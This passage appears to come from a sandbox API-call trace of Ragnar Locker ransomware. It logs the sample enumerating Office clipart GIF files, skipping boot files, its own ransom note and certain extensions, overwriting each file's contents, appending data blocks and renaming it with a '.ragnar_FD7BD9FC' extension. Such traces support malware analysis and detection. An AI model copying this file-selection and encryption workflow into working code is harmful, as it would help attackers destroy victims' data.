lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.098] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.098] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.098] GetProcessHeap () returned 0x580000 [0093.098] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.098] CloseHandle (hObject=0xf4) returned 1 [0093.098] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" [0093.098] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.ragnar_FD7BD9FC" [0093.098] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.099] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0093.099] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.099] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01300_.GIF" | out: lpString1="WB01300_.GIF") returned="WB01300_.GIF" [0093.099] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF") returned=".GIF" [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="autorun.inf") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="boot.ini") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="bootfont.bin") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="bootsect.bak") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="bootmgr") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="bootmgr.efi") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="desktop.ini") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="iconcache.db") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="ntldr") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="ntuser.dat") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="ntuser.ini") returned 1 [0093.099] lstrcmpiW (lpString1="WB01300_.GIF", lpString2="thumbs.db") returned 1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.099] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.100] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif")) returned 0x20 [0093.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.100] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=592) returned 1 [0093.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x247, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.100] GetProcessHeap () returned 0x580000 [0093.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.100] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.101] VirtualAlloc (lpAddress=0x0, dwSize=0x250, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.101] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x250, lpOverlapped=0x0) returned 1 [0093.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.102] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x250, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.102] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x250, lpOverlapped=0x0) returned 1 [0093.102] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x250, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.102] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.102] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.102] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.102] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.102] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.102] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.102] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.102] GetProcessHeap () returned 0x580000 [0093.102] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.102] CloseHandle (hObject=0xf4) returned 1 [0093.103] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" [0093.103] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.ragnar_FD7BD9FC" [0093.103] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.103] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0093.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.103] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01301_.GIF" | out: lpString1="WB01301_.GIF") returned="WB01301_.GIF" [0093.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF") returned=".GIF" [0093.103] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="autorun.inf") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="boot.ini") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="bootfont.bin") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="bootsect.bak") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="bootmgr") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="bootmgr.efi") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="desktop.ini") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="iconcache.db") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="ntldr") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="ntuser.dat") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="ntuser.ini") returned 1 [0093.104] lstrcmpiW (lpString1="WB01301_.GIF", lpString2="thumbs.db") returned 1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.104] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif")) returned 0x20 [0093.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.105] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=681) returned 1 [0093.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.105] GetProcessHeap () returned 0x580000 [0093.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.105] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2a9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.106] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a9, lpOverlapped=0x0) returned 1 [0093.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.106] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a9, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.106] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a9, lpOverlapped=0x0) returned 1 [0093.106] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.106] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.106] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.106] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.107] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.107] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.107] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.107] GetProcessHeap () returned 0x580000 [0093.107] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.107] CloseHandle (hObject=0xf4) returned 1 [0093.107] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" [0093.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.ragnar_FD7BD9FC" [0093.107] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.108] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0093.108] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.108] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01304G.GIF" | out: lpString1="WB01304G.GIF") returned="WB01304G.GIF" [0093.108] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF") returned=".GIF" [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="autorun.inf") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="boot.ini") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="bootfont.bin") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="bootsect.bak") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="bootmgr") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="bootmgr.efi") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="bootmgfw.efi") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="desktop.ini") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="iconcache.db") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="ntldr") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="ntuser.dat") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="ntuser.dat.log") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="ntuser.ini") returned 1 [0093.108] lstrcmpiW (lpString1="WB01304G.GIF", lpString2="thumbs.db") returned 1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.108] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif")) returned 0x20 [0093.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.109] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8310) returned 1 [0093.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x206d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.109] GetProcessHeap () returned 0x580000 [0093.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.109] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2076, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.111] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2076, lpOverlapped=0x0) returned 1 [0093.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.112] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2076, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.112] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2076, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2076, lpOverlapped=0x0) returned 1 [0093.112] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2076, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.112] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2076, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.112] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.112] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.113] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.113] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.113] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.113] GetProcessHeap () returned 0x580000 [0093.113] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.113] CloseHandle (hObject=0xf4) returned 1 [0093.113] lstrcpyW 